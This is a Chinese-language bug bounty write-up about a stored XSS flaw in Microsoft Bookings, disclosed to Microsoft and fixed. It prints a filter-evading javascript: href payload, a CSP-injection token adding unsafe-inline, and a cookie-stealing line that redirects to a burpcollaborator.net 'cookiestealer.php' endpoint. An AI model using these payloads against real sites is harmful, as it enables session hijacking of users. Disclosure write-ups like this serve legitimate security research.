記一次Microsoft服務預訂中的存儲型XSS漏洞挖掘
一個美好的一天,我在我的辦公室工作,我收到了同事的日歷邀請。在查看電子郵件時,我發現了 Microsoft 的新服務預訂(實際上是舊的,但對我來說是新的)。Microsoft booking 允許任何人預訂服務/日歷時段。
此應用程序有兩個界面,一個是內部界面,另一個是面向公眾的服務頁面。我決定深入檢查這個應用程序。我去內部預訂頁面開始新的預訂,而預訂服務發現了一個參數消息/注釋。
我嘗試插入各種 XSS payload 來觸發 xss 但沒有成功。
經分析,發現應用程序允許用戶插入鏈接或 標簽。
現在我的注意力轉移到了這個標簽上。我使用谷歌為我的攻擊向量找到了完美的有效載荷,我發現可以使用 href 值利用 ancher 標簽。
應用程序有各種保護機制來防止腳本的執行。但是當我將 javascript word 分解為 javas cript 應用程序時,它接受了這個payload。
現在,當用戶單擊預訂消息中提供的鏈接時,此payload將被執行。我非常興奮。
<a href="javas cript:alert('document.domain')">XSSa>

但是當我將payload更新為
<a href=”javas cript:alert(document.cookie)” >Testing.com a>

我收到帶有 cookie 未定義消息的彈出消息,這意味著應用程序具有 csp 保護。
所以我們更新了我們的有效負載以繞過 csp 保護。注入使用script-src-elemCSP 中的指令。該指令允許您僅定位script元素。使用此指令,您可以覆蓋現有script-src規則,使您能夠注入unsafe-inline,從而允許您使用內聯腳本。
<a href=”javas cript:alert(document.cookie)”&token=;script-src-elem%20%27unsafe-inline%27 >Testing.com a>


令我驚訝的是,我能夠使用 xss 獲取 cookie。現在我想將這些 cookie 傳遞到我的服務器。所以我啟動了 burp collaborator 并將payload更新為
document .location=’http://l4q4dgmomxzkw6i13q5essmojfp6hu6.burpcollaborator.net/cookiestealer.php?c='+document.cookie"&token=;script-src-elem%20%27unsafe-inline%27 >Testing.com
在這里,我在一個標簽中使用了 document.location,該標簽將用戶重定向到另一個頁面并共享 cookie。

現在我想提交此錯誤,但由于我是來自同一組織的經過身份驗證的用戶,因此影響很小。
因此,我嘗試從公開的服務發起相同的攻擊,并且無需身份驗證即可執行相同的攻擊。

現在,由于我是未經身份驗證的用戶/攻擊者,嚴重性從低/中到高。
我很快將這個錯誤提交給微軟團隊,微軟的人很快就解決了這個問題,是的,他們因為這個漏洞獎勵了我幾千美金的漏洞賞金。
感謝 Microsoft 安全團隊在修復此問題期間提供的大力幫助。